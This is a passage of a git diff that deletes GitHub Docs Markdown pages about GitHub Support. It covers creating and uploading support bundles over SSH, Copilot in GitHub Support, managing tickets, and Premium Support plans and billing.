a diagnostic file using SSH - -You can use this method without signing into the {% data variables.enterprise.management_console %}. - -Use the [ghe-diagnostics](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-diagnostics) command-line utility to retrieve the diagnostics for your instance. - -```shell -ssh -p122 admin@HOSTNAME -- 'ghe-diagnostics' > diagnostics.txt -``` - -## Creating and sharing support bundles - -After you submit your support request, we may ask you to share a support bundle with our team. The support bundle is a gzip-compressed tar archive that includes diagnostics and important logs from your instance, such as: - -* Authentication-related logs that may be helpful when troubleshooting authentication errors, or configuring LDAP, CAS, or SAML -* {% data variables.enterprise.management_console %} log -* `github-logs/exceptions.log`: Information about 500 errors encountered on the site -* `github-logs/audit.log`: {% data variables.product.prodname_ghe_server %} audit logs -* `babeld-logs/babeld.log`: Git proxy logs -* `system-logs/haproxy.log`: HAProxy logs -* `elasticsearch-logs/github-enterprise.log`: Elasticsearch logs -* `configuration-logs/{% ifversion unique-config-run-logs %}{% else %}ghe-config.log{% endif %}`: {% data variables.product.prodname_ghe_server %} configuration logs -{%- ifversion unique-config-run-logs %} -{%- endif %} -* `collectd/logs/collectd.log`: Collectd logs -* `mail-logs/mail.log`: SMTP email delivery logs - -For more information, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise). - -Support bundles include logs from the past two days by default. You can specify an exact duration in days. To provide logs from the past eight days, you can download an extended support bundle. For more information, see [Creating and sharing extended support bundles](#creating-and-sharing-extended-support-bundles). - -> [!TIP] -> When you contact {% data variables.contact.github_support %}, you'll be sent a confirmation email that will contain a ticket reference link. If {% data variables.contact.github_support %} asks you to upload a support bundle, you can use the ticket reference link to upload the support bundle. - -### Creating a support bundle from the {% data variables.enterprise.management_console %} - -You can use these steps to create and share a support bundle if you can access the web-based {% data variables.enterprise.management_console %} and have outbound internet access. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.type-management-console-password %} -{% data reusables.enterprise_management_console.support-link %} -1. Click **Download support bundle**. -{% data reusables.enterprise_enterprise_support.sign-in-to-support %} -{% data reusables.enterprise_enterprise_support.upload-support-bundle %} - -### Creating a support bundle using SSH - -You can use these steps to create and share a support bundle if you have SSH access to {% data variables.location.product_location %} and have outbound internet access. - -{% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} - -1. Download the support bundle via SSH: - - ```shell - ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o' > support-bundle.tgz - ``` - - For more information about the `ghe-support-bundle` command, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-support-bundle). -{% data reusables.enterprise_enterprise_support.sign-in-to-support %} -{% data reusables.enterprise_enterprise_support.upload-support-bundle %} - -### Uploading a support bundle using your enterprise account - -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Under "{% data variables.product.prodname_enterprise %} Help", click **Upload a support bundle**. - - ![Screenshot of the "GitHub Enterprise help" section of the enterprise settings page. The "Upload a support bundle link" is outlined in orange.](/assets/images/enterprise/support/upload-support-bundle.png) -1. Under "Select an enterprise account", use the drop-down menu to select the support bundle's associated account. -1. Under "Upload a support bundle for {% data variables.contact.enterprise_support %}", to select your support bundle, click **Choose file**, or drag your support bundle file onto **Choose file**. -1. Click **Upload**. - -### Uploading a support bundle directly using SSH - -You can directly upload a support bundle to our server if: -* You have SSH access to {% data variables.location.product_location %}. -* Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.location.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_. - -1. Upload the bundle to our support bundle server: - - ```shell - ssh -p122 admin@HOSTNAME -- 'ghe-support-bundle -u' - ``` - -## Creating and sharing extended support bundles - -Support bundles include logs from the past two days by default, while _extended_ support bundles include logs from the past eight days. If the events that {% data variables.contact.github_support %} is investigating occurred more than two days ago, we may ask you to share an extended support bundle. You will need SSH access to download an extended bundle - you cannot download an extended bundle from the {% data variables.enterprise.management_console %}. - -To prevent bundles from becoming too large, bundles only contain logs that haven't been rotated and compressed. Log rotation on {% data variables.product.prodname_ghe_server %} happens at various frequencies (daily or weekly) for different log files, depending on how large we expect the logs to be. - -### Creating an extended support bundle using SSH - -You can use these steps to create and share an extended support bundle if you have SSH access to {% data variables.location.product_location %} and you have outbound internet access. - -1. Download the extended support bundle via SSH by adding the `-x` flag to the `ghe-support-bundle` command: - - ```shell - ssh -p 122 admin@HOSTNAME -- 'ghe-support-bundle -o -x' > support-bundle.tgz - ``` - -{% data reusables.enterprise_enterprise_support.sign-in-to-support %} -{% data reusables.enterprise_enterprise_support.upload-support-bundle %} - -### Uploading an extended support bundle directly using SSH - -You can directly upload a support bundle to our server if: -* You have SSH access to {% data variables.location.product_location %}. -* Outbound HTTPS connections over TCP port 443 are allowed from {% data variables.location.product_location %} to _enterprise-bundles.github.com_ and _esbtoolsproduction.blob.core.windows.net_. - -1. Upload the bundle to our support bundle server: - - ```shell - ssh -p122 admin@HOSTNAME -- 'ghe-support-bundle -u -x' - ``` - -## Further reading - -* [AUTOTITLE](/support/learning-about-github-support/about-github-support) -* [AUTOTITLE](/enterprise-server@latest/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise) diff --git a/content/support/contacting-github-support/using-copilot-in-github-support.md b/content/support/contacting-github-support/using-copilot-in-github-support.md deleted file mode 100644 index e7fd9d97ddf1..000000000000 --- a/content/support/contacting-github-support/using-copilot-in-github-support.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Using Copilot in GitHub Support -intro: 'You can use {% data variables.product.prodname_copilot_in_support %} to find an answer to your question before submitting a support ticket.' -topics: - - Support -redirect_from: - - /early-access/copilot/about-copilot-in-github-support -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Using Copilot in GitHub Support ---- - -## About {% data variables.product.prodname_copilot_in_support %} - -{% data variables.product.prodname_copilot_in_support %} is an AI-powered feature within the {% data variables.contact.github_support %} portal that helps you find answers to your support queries before submitting a ticket. {% data variables.product.prodname_copilot_in_support %} uses a large language model trained on publicly available {% data variables.product.prodname_dotcom %} documentation. - -You can use {% data variables.product.prodname_copilot_in_support %} to find answers to questions about a wide range of {% data variables.product.prodname_dotcom %}'s products and features. {% data variables.product.prodname_copilot_in_support %} is not able to answer questions about billing, account access, or other account-specific issues. If {% data variables.product.prodname_copilot_in_support %} is not able to answer your question, you can submit a ticket to {% data variables.contact.github_support %} or you can speak to {% data variables.product.prodname_dotcom %} users and staff on the {% data variables.contact.community_support_forum %}. - -For more information about {% data variables.contact.github_support %}, see [AUTOTITLE](/support/learning-about-github-support/about-github-support). - -## Using {% data variables.product.prodname_copilot_in_support %} - -Before submitting a ticket, use {% data variables.product.prodname_copilot_in_support %} to find an answer to your question. - -1. Navigate to the "Get help with {% data variables.product.prodname_dotcom %}" form by clicking **Contact us** on the {% data variables.contact.contact_support_portal %}. -1. Fill out the form. -1. Under "How can we help you?", select **Chat with {% data variables.product.prodname_copilot_in_support %}**. - - ![Screenshot of the "How can we help you?" form. "Chat with {% data variables.product.prodname_copilot_in_support %}" is highlighted in orange.](/assets/images/help/copilot/chat-with-copilot-in-support.png) - -1. Click **Start chat**. {% data variables.product.prodname_copilot_short %} will respond to what you entered in the form. - -If {% data variables.product.prodname_copilot_in_support %} solves your problem, click **My problem is solved!** or navigate away from the page. If {% data variables.product.prodname_copilot_in_support %} is not able to solve your issue, click **Create a ticket** and a ticket will be created that contains a summary of your conversation with {% data variables.product.prodname_copilot_short %} and a full transcript as an attachment to the comment. - -## Best practices - -When you chat with {% data variables.product.prodname_copilot_in_support %}, remember to provide comprehensive context in your question. Clearly state the specific area where you need assistance and include all relevant details, like error messages you've received, or the steps you've already taken. Describe your issue as if you were explaining it to a colleague or {% data variables.contact.github_support %}. If {% data variables.product.prodname_copilot_short %} misunderstands your query and gives an irrelevant answer, let it know about the error, and it will do its best to provide accurate information. You can even ask {% data variables.product.prodname_copilot_short %} to format its response in bullet points or any other readable format you prefer. - -## Sharing feedback about {% data variables.product.prodname_copilot_in_support %} - -We greatly value your feedback. As we continuously improve {% data variables.product.prodname_copilot_in_support %}, we value knowing which answers were helpful and which were not. To let us know, just click {% octicon "thumbsdown" aria-label="The thumbs down icon" %} accompanying the last response from {% data variables.product.prodname_copilot_short %}. - -## Further reading - -[{% data variables.product.prodname_dotcom %}'s Privacy Statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement). diff --git a/content/support/contacting-github-support/viewing-and-updating-support-tickets.md b/content/support/contacting-github-support/viewing-and-updating-support-tickets.md deleted file mode 100644 index 10334c013685..000000000000 --- a/content/support/contacting-github-support/viewing-and-updating-support-tickets.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Viewing and updating support tickets -intro: 'You can view your support tickets{% ifversion ghes or ghec %}, collaborate with colleagues on tickets,{% endif %} and respond to {% data variables.contact.github_support %} using the {% data variables.contact.landing_page_portal %}.' -shortTitle: View and update tickets -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Support ---- - -## About ticket management - -{% data reusables.support.support-portal-notes %} - -{% data reusables.support.zendesk-old-tickets %} - -You can use the {% data variables.contact.contact_landing_page_portal %} to view current and past support tickets and respond to {% data variables.contact.github_support %}. After 120 days, resolved tickets are archived, and archived tickets can only be viewed for enterprise accounts. - -Your capabilities in the {% data variables.contact.landing_page_portal %} depend on the account you select when you submit a ticket.{% ifversion ghes or ghec %} If you select an enterprise account, your role in the enterprise also affects your capabilities. - -{% data reusables.enterprise-accounts.support-entitlements %} -{% endif %} - -## Viewing your recent support tickets - -{% data reusables.support.view-open-tickets %} -1. Under the text box, you can read the comment history. The most recent response is at the top. -1. Optionally, to translate the ticket comment, click {% octicon "globe" aria-label="The globe icon" %} and choose your preferred language from the dropdown menu. You can translate your support ticket into Spanish, Japanese, Portuguese (Brazil), Chinese (Simplified), French, or German. - - ![Screenshot of a support ticket with the dropdown menu showing the options for translation highlighted with a dark orange outline.](/assets/images/help/support/support-ticket-translation-options.png) - -{% ifversion ghec or ghes %} - -## Viewing your archived support tickets - -You can only view archived tickets for an enterprise account. - -{% data reusables.support.navigate-to-my-tickets %} -1. Select the **My Tickets** drop-down menu and click the name of the enterprise account. - -{% indented_data_reference reusables.support.entitlements-note spaces=3 %} - - ![Screenshot showing the "My Tickets" dropdown menu highlighted in dark orange.](/assets/images/help/support/ticket-context.png) -1. Under the "My tickets" table, click **View archived tickets**. - -{% endif %} - -## Updating support tickets - -{% data reusables.support.view-open-tickets %} -1. Optionally, if the issue is resolved, under the text box, click **Close ticket**. -1. To respond to GitHub Support and add a new comment to the ticket, type your response in the text box. -![Screenshot of the "Add a comment" text field, highlighted in dark orange.](/assets/images/help/support/new-comment-field.png) -1. To add your comment to the ticket, under the text box, click **Comment**. - -{% ifversion ghec or ghes %} - -## Collaborating on support tickets - -You can collaborate with your colleagues on support tickets using the support portal. Owners, billing managers, and other enterprise members with support entitlements can view tickets associated with an enterprise account or an organization managed by an enterprise account. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise). - -You can also comment on tickets opened by someone else and associated with your enterprise account. {% data reusables.support.enterprise-comment-on-support-tickets %} - -## Requesting a callback - -If your account includes {% data variables.contact.premium_support %}, you can request a callback for urgent or high priority tickets. From the ticket, click **Request a callback from GitHub Support**. - -## Requesting an escalation - -You can request to escalate a ticket if it was opened at a lower priority but the issue has become more urgent{% ifversion ghec %} if your account includes {% data variables.contact.premium_support %}{% endif %}. From the ticket, click **Request an escalation**. For more information about requesting an escalation, see [AUTOTITLE](/support/learning-about-github-support/about-github-premium-support#assigning-a-priority-to-a-support-ticket). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/support/learning-about-github-support/about-github-support) diff --git a/content/support/index.md b/content/support/index.md deleted file mode 100644 index 462f76f9ab57..000000000000 --- a/content/support/index.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: GitHub Support documentation -shortTitle: GitHub Support -layout: product-landing -intro: 'GitHub offers different levels of support with each product, including community forum support and limited email support for everyone, full email support for all paid products, and 24/7 email and callback support with a service level agreement (SLA) if your account includes {% data variables.contact.premium_support %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /enterprise/admin/enterprise-support - - /admin/enterprise-support - - /categories/working-with-github-support - - /forum - - /github/working-with-github-support -children: - - learning-about-github-support - - contacting-github-support - - sharing-feedback-with-github -topics: - - Support -introLinks: - overview: /support/learning-about-github-support/about-github-support -featuredLinks: - startHere: - - /support/contacting-github-support/creating-a-support-ticket - - /support/contacting-github-support/viewing-and-updating-support-tickets - - '{% ifversion ghes or ghec %}/support/learning-about-github-support/about-ticket-priority{% endif %}' - - '{% ifversion ghes %}/support/contacting-github-support/providing-data-to-github-support{% endif %}' - popular: - - /support/learning-about-github-support/about-github-support - - /support/contacting-github-support/creating-a-support-ticket ---- - diff --git a/content/support/learning-about-github-support/about-copilot-in-github-support.md b/content/support/learning-about-github-support/about-copilot-in-github-support.md deleted file mode 100644 index 245f1364bc49..000000000000 --- a/content/support/learning-about-github-support/about-copilot-in-github-support.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: About Copilot in GitHub Support -intro: '{% data variables.product.prodname_copilot_in_support %} can help you by providing answers to a wide range of questions about {% data variables.product.prodname_dotcom %}''s products and features.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Support -shortTitle: About Copilot in GitHub Support -type: rai ---- - -## About {% data variables.product.prodname_copilot_in_support %} - -{% data variables.product.prodname_copilot_in_support %} is a new conversational AI tool built to offer immediate assistance within the {% data variables.contact.github_support %} portal, allowing you to tackle issues without waiting for a response from {% data variables.contact.github_support %}. {% data variables.product.prodname_copilot_in_support %} uses a large language model, trained on publicly available {% data variables.product.prodname_dotcom %} documentation, to provide a conversational way to get help for your {% data variables.product.prodname_dotcom %} inquiries without having to wait for customer support to respond to your inquiry. - -The primary supported language for {% data variables.product.prodname_copilot_in_support %} is English. - -## How {% data variables.product.prodname_copilot_in_support %} works - -{% data variables.product.prodname_copilot_in_support %}'s functionality can be broken down into a few steps. - -### Input processing - -The input prompt from the user is pre-processed by {% data variables.product.prodname_copilot_in_support %} to determine whether it falls within the feature's remit and, if it does, sent to a large language model to generate a response based on the input. User input should take the form of a plain language description of their query. The system is only intended to respond to {% data variables.product.prodname_dotcom %}-related questions. - -### Language model analysis - -The input prompt is then passed through the {% data variables.product.prodname_copilot_in_support %} language model, which analyzes the input prompt. - -### Response generation - -The language model generates a response based on its analysis of your input. This response will take the form of a plain language answer to your query. Depending on your question, {% data variables.product.prodname_copilot_in_support %} may include steps you can take to try to resolve the issue. - -### Output formatting - -The response generated by {% data variables.product.prodname_copilot_in_support %} is formatted and presented to the user. {% data variables.product.prodname_copilot_in_support %} may use indentation and other formatting features to add clarity to the generated response. Depending upon the type of question from the user, links to relevant content in {% data variables.product.prodname_dotcom %} documentation that the model used to generate its response will also be provided. - -## Limitations of {% data variables.product.prodname_copilot_in_support %} - -Depending on factors such as your input prompt and the complexity of your issue, you may experience different levels of performance when using {% data variables.product.prodname_copilot_in_support %}. The following information is designed to help you understand system limitations and key concepts about performance as they apply to {% data variables.product.prodname_copilot_in_support %}. - -### Limited scope - -{% data variables.product.prodname_copilot_in_support %} is only intended to answer questions related to {% data variables.product.prodname_dotcom %}'s products. {% data variables.product.prodname_copilot_in_support %} is not designed to provide general programming assistance. In addition, it may not be able to help with more complex issues related to your {% data variables.product.prodname_dotcom %} account, for example, resolving billing issues. If {% data variables.product.prodname_copilot_in_support %} cannot help with a GitHub-related issue, you will be prompted to open a ticket with our support team. - -### Inaccurate responses - -The responses you receive from {% data variables.product.prodname_copilot_in_support %} are generated by AI without human intervention and, as such, may not always be accurate. Ensure the answer you have received is accurate by checking the official {% data variables.product.prodname_dotcom %} documentation. - -### Information only assistance - -Currently, {% data variables.product.prodname_copilot_in_support %} cannot take action on your behalf, for example, by changing your settings. {% data variables.product.prodname_copilot_in_support %} can only provide steps for you to configure or troubleshoot a {% data variables.product.prodname_dotcom %} product based on {% data variables.product.prodname_dotcom %} official documentation. - -## Best practices and use cases - -{% data variables.product.prodname_copilot_in_support %} is intended to answer your query related to {% data variables.product.prodname_dotcom %} products from {% data variables.product.prodname_dotcom %} documentation. More information provided in your input increases {% data variables.product.prodname_copilot_in_support %}'s likelihood of providing a relevant and helpful response that may also include best practices, tips, and solutions. {% data variables.product.prodname_copilot_in_support %} consolidates information from multiple {% data variables.product.prodname_dotcom %} documents into a tailored response, and may reduce the time required to answer your question. If you have a follow-up question or another {% data variables.product.prodname_dotcom %}-related query, you can continue using {% data variables.product.prodname_copilot_in_support %}. - -{% data variables.product.prodname_copilot_in_support %} also includes links to any documentation it uses when crafting an answer so that you're able to review the material or bookmark it for future reference. As with every large language model, it can make mistakes so please review the information provided to ensure it is free of errors. - -## Sharing feedback about {% data variables.product.prodname_copilot_in_support %} - -We greatly value your feedback. As we continuously improve {% data variables.product.prodname_copilot_in_support %}, we value knowing which answers were helpful and which were not. To let us know, just click the thumbs down under the corresponding response from {% data variables.product.prodname_copilot_short %}. - -## Further reading - -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) -* [AUTOTITLE](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement) diff --git a/content/support/learning-about-github-support/about-github-premium-support.md b/content/support/learning-about-github-support/about-github-premium-support.md deleted file mode 100644 index 434c10214714..000000000000 --- a/content/support/learning-about-github-support/about-github-premium-support.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: About GitHub Premium Support -intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_enterprise %} customers.' -shortTitle: GitHub Premium Support -versions: - ghec: '*' - ghes: '*' -redirect_from: - - /articles/about-github-premium-support - - /articles/about-github-premium-support-for-github-enterprise-cloud - - /enterprise/admin/guides/enterprise-support/about-premium-support-for-github-enterprise - - /enterprise/admin/guides/enterprise-support/about-premium-support - - /enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise-server - - /admin/enterprise-support/about-github-premium-support-for-github-enterprise-server - - /enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise - - /admin/enterprise-support/about-github-premium-support-for-github-enterprise - - /github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud - - /admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server - - /admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise - - /support/about-github-support/about-github-premium-support -topics: - - Support ---- - -> [!NOTE] -> * The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of November 2021. -> * {% data reusables.support.data-protection-and-privacy %} - -## About {% data variables.contact.premium_support %} - -{% data reusables.support.premium-support-features %} - -## {% data variables.contact.premium_support %} plans - -There are two {% data variables.contact.premium_support %} plans: Premium and Premium Plus / {% data variables.product.microsoft_premium_plus_support_plan %}. - -{% rowheaders %} - -| | {% data variables.product.premium_support_plan %} | {% data variables.product.premium_plus_support_plan %} | -|---|---|------| -| Hours of operation | 24 x 7 | 24 x 7 | -| Initial response time |
  • 30 minutes for {% data variables.product.support_ticket_priority_urgent %} (including initial troubleshooting)
  • 4 hours for {% data variables.product.support_ticket_priority_high %}
|
  • 30 minutes for {% data variables.product.support_ticket_priority_urgent %} (including initial troubleshooting)
  • 4 hours for {% data variables.product.support_ticket_priority_high %}
| -| Support channels |
  • Online ticket submission
  • Phone support in English via callback request (when required for ticket resolution)
  • Screen share request for critical issues
|
  • Online ticket submission
  • Phone support in English via callback request (when required for ticket resolution)
  • Screen share request for critical issues
| -| Training | Access to premium content |
  • Access to premium content
  • 1 virtual training class per year
| -| Members with support entitlements | 20 | 40 | -| Resources | Priority ticket handling |
  • Priority ticket handling
  • Named Customer Reliability Engineer
| -| Escalation management | For High and Urgent priority tickets | For High and Urgent priority tickets | -| Incident management | None | For Urgent priority tickets, as needed | -| Health checks | {% ifversion not ghes %}None{% else %}Unlimited automated health check reports (see [Generating a health check for your enterprise](/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise)){% endif %} |
    {% ifversion ghes %}
  • Unlimited automated health check reports. For more information, see [AUTOTITLE](/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise))
    • {% endif %}
  • Quarterly enhanced health checks, with findings, interpretations, and recommendations from your CRE (by request)
| -| {% ifversion ghes %} | -| Crisis prevention | None | Yearly participation in guided incident simulations to help you be prepared | -| {% endif %} | -| Technical advisory hours| None | 12 hours per quarter | -| Application upgrade assistance | None | By request | -| Cloud planning | None | By request | - -{% endrowheaders %} - - > [!NOTE] - > Enterprise owners and billing managers automatically have a support entitlement. Enterprise owners can add support entitlements to members of organizations owned by their enterprise account. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise). - -## Billing for {% data variables.contact.premium_support %} - -How you are charged for {% data variables.contact.premium_support %} will depend on your {% data variables.product.github %} products and how you are charged for them. - -* If you are a **licensed billing** customer, the support fee percentage is applied to the cost of licenses for the current year. - -* If you are a **metered billing** customer, the support fee percentage for **{% data variables.product.premium_support_plan %}**, **Premium Plus plan**, and **{% data variables.product.microsoft_premium_plus_support_plan %}** is calculated as either a percentage of your estimated metered spending or a set minimum annual fee—whichever amount is higher. For {% data variables.product.microsoft_premium_plus_support_plan %} customers, this is in addition to the Unified Support contract fee. - - The support fee for metered billing is estimated from the previous 12 months' spending. If you have less than 12 months of spending history, {% data variables.product.github %} will take a 12-month run rate based on your spending history. If your last 3 to 6 months spending is vastly different to the last 6 to 9 months, the last 3 to 6 month period will be used. - - If you are switching from **licensed billing to metered billing**, your support fee at contract renewal is estimated based on the previous year's purchased licenses. Minimum thresholds remain in place. - -* If you are both a licensed and metered billing customer (hybrid), your charge will be calculated from the support fee percentage applied to the current year's license purchases **plus** the support fee percentage applied to your estimated metered billing spend. - -New {% data variables.product.github %} customers who are only planning to use metered products will be required to pay the annual minimum for {% data variables.product.premium_support_plan %} or {% data variables.product.premium_plus_support_plan %}. - -If you would like a quote for {% data variables.contact.premium_support %}, contact [{% data variables.product.github %}'s Sales team](https://github.com/enterprise/contact?scid=&utm_campaign=2023q3-site-ww-PremiumSupport&utm_content=Premium+Support&utm_medium=referral&utm_source=github). - -## Signing up for {% data variables.contact.premium_support %} - -To sign up for {% data variables.contact.premium_support %} or upgrade your plan, [contact our account management team](https://enterprise.github.com/contact). - -## Scope of support - -{% data reusables.support.scope-of-support %} - -## Contacting {% data variables.contact.premium_support %} - -{% data variables.contact.premium_support %} customers can use the {% data variables.contact.contact_landing_page_portal %} to report issues in writing, in English. - -## Hours of operation - -{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. If you purchased {% data variables.contact.premium_support %} prior to September 17, 2018, support is limited during holidays. For more information on holidays {% data variables.contact.premium_support %} observes, see the holiday schedule at [AUTOTITLE](/enterprise-server@latest/support/learning-about-github-support/about-github-support). - -## Service Level Agreement response times - -For tickets you submit, support is available 24 hours a day, 7 days per week. The initial response time guaranteed by the SLA is dependent on the priority level of the ticket. Response time begins when {% data variables.contact.premium_support %} sets the priority level of the ticket. A response does not mean the issue has been resolved. - -| Ticket priority level | Initial response time | -| --- | ---| -| {% data variables.product.support_ticket_priority_urgent %} | 30 minutes | -| {% data variables.product.support_ticket_priority_high %} | 4 hours | - -During the initial response time for Urgent priority tickets, you can expect us to do the following: - -* The paged Support Engineer or CRE assigns and carefully reviews your ticket. The goal is to understand the issue, start troubleshooting, and identify next steps. -* In the initial response, the assigned Support Engineer or CRE will acknowledge ticket receipt and assignment as well as provide next steps to clarify and troubleshoot the situation. To assist with resolving your issue, the Support Engineer or CRE may ask for additional information such as screenshots, error messages, log files, diagnostics files, support bundles, or the output of specific console commands. -* Depending on the issue, the assigned Support Engineer or CRE may collaborate with others in Support, Engineering, or the regional incident commander. -* If a callback was requested upon opening the Urgent ticket, the assigned Support Engineer or CRE will determine if, at the current time, screen sharing is the most efficient way of driving the ticket towards resolution. If so, they will extend an offer to you to join a screen sharing session. - -{% data reusables.enterprise_enterprise_support.installing-releases %} - -{% ifversion ghes %} -You must install the minimum supported version of {% data variables.product.prodname_ghe_server %} pursuant to the Supported Releases section of your applicable license agreement within 90 days of placing an order for {% data variables.contact.premium_support %}. -{% endif %} - -## Assigning a priority to a support ticket - -When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. For more information, see [AUTOTITLE](/support/learning-about-github-support/about-ticket-priority). - -## Resolving and closing support tickets - -{% data variables.contact.premium_support %} may consider a ticket solved after providing an explanation, recommendation, usage instructions, workaround instructions, or by advising you of an available {% data variables.product.prodname_ghe_server %} release that addresses the issue. - -If you use a custom or unsupported plug-in, module, or custom code, {% data variables.contact.premium_support %} may ask you to remove the unsupported plug-in, module, or code while attempting to resolve the issue. If the problem is fixed when the unsupported plug-in, module, or custom code is removed, {% data variables.contact.premium_support %} may consider the ticket solved. - -{% data variables.contact.premium_support %} may close a ticket if the ticket is outside the scope of support or if multiple attempts to contact you have gone unanswered. If {% data variables.contact.premium_support %} closes a ticket due to lack of response, you can request that {% data variables.contact.premium_support %} reopen the ticket. - -## Accessing premium content - -You can access premium content by signing into the {% data variables.contact.contact_landing_page_portal %}, then clicking **Premium**. diff --git a/content/support/learning-about-github-support/about-github-support.md b/content/support/learning-about-github-support/about-github-support.md deleted file mode 100644 index 1bd15ced42ff..000000000000 --- a/content/support/learning-about-github-support/about-github-support.md +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: About GitHub Support -intro: You can contact GitHub Support for help troubleshooting issues you encounter while using GitHub. -shortTitle: About GitHub Support -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /enterprise/admin/enterprise-support/about-github-enterprise-support - - /admin/enterprise-support/about-github-enterprise-support - - /admin/enterprise-support/overview/about-github-enterprise-support - - /articles/about-github-support - - /github/working-with-github-support/about-github-support - - /articles/github-enterprise-cloud-support - - /github/working-with-github-support/github-enterprise-cloud-support - - /articles/business-plan-support - - /articles/github-business-cloud-support - - /admin/enterprise-support/about-support-for-advanced-security - - /enterprise-server/admin/enterprise-support/about-support-for-advanced-security -topics: - - Support ---- - -## About {% data variables.contact.github_support %} - -The support options available to {% data variables.product.github %} users depend on the products used by their personal accounts, any organizations or enterprises they are members of, and any {% data variables.product.prodname_ghe_server %} instances they manage. Each product includes a default level of support and accounts that use {% data variables.product.prodname_enterprise %} can purchase {% data variables.contact.premium_support %}. - -{% rowheaders %} - -| | {% data variables.product.prodname_gcf %} | Standard support | Enterprise support | Premium support | -|---|---|---|---|---| -| {% data variables.product.prodname_free_user %} | {% octicon "check" aria-label="Available" %} | {% octicon "x" aria-label="Not available" %} | {% octicon "x" aria-label="Not available" %} | {% octicon "x" aria-label="Not available" %} | -| {% data variables.product.prodname_pro %} | {% octicon "check" aria-label="Available" %} | {% octicon "check" aria-label="Available" %} | {% octicon "x" aria-label="Not available" %} | {% octicon "x" aria-label="Not available" %} | -| {% data variables.product.prodname_team %} | {% octicon "check" aria-label="Available" %} | {% octicon "check" aria-label="Available" %} | {% octicon "x" aria-label="Not available" %} | {% octicon "x" aria-label="Not available" %} | -| {% data variables.product.prodname_ghe_cloud %} | {% octicon "check" aria-label="Available" %} | {% octicon "x" aria-label="Not available" %} | {% octicon "check" aria-label="Available" %} | Available to purchase | -| {% data variables.product.prodname_ghe_server %} | {% octicon "check" aria-label="Available" %} | {% octicon "x" aria-label="Not available" %} | {% octicon "check" aria-label="Available" %} | Available to purchase | - -{% endrowheaders %} - -{% ifversion ghes %} - -You can contact {% data variables.contact.enterprise_support %} through the {% data variables.contact.contact_enterprise_portal %} for help with: -* Installing and using {% data variables.product.prodname_ghe_server %} -* Identifying and verifying the causes of suspected errors -* Installing and using {% data variables.product.prodname_GHAS %} features - -{% endif %} - -{% ifversion ghes or ghec %} - -{% data reusables.support.premium-support-features %} - -For more information, see [AUTOTITLE](/support/learning-about-github-support/about-github-premium-support). - -{% endif %} - -{% ifversion fpt or ghec %} - -Before contacting {% data variables.contact.github_support %}, check if there are currently any incidents affecting services on {% data variables.product.github %} on [{% data variables.product.github %} Status](https://githubstatus.com/). For more information, see [About GitHub status](#about-github-status). - -{% endif %} - -{% ifversion fpt %} -{% data reusables.support.free-and-paid-support %} - -To report account, security, and abuse issues, or to receive assisted support for a paid account, visit the {% data variables.contact.contact_landing_page_portal %}. For more information, see [AUTOTITLE](/support/contacting-github-support/creating-a-support-ticket). -{% endif %} - -{% ifversion fpt %} -You can contact {% data variables.contact.github_support %} in English. -{% else %} -With {% data variables.product.prodname_enterprise %}, you have access to support in English and Japanese. -{% endif %} - -{% data reusables.support.support-ticket-translation-option %} - -{% ifversion ghes or ghec %} - -To contact {% data variables.contact.github_support %}, visit the {% data variables.contact.contact_landing_page_portal %}. For more information, see [AUTOTITLE](/support/contacting-github-support/creating-a-support-ticket). - -{% endif %} - -Email communication from GitHub Support will always be sent from either a `github.com` or `githubsupport.com` address. - -## Scope of support - -{% data reusables.support.scope-of-support %} - -{% ifversion ghec or fpt %} - -## About GitHub status - -You can check for any incidents currently affecting {% data variables.product.github %} services and view information about past incidents on {% data variables.product.github %}'s [Status page]({% ifversion fpt or ghec %}https://githubstatus.com{% endif %}). - -You can also 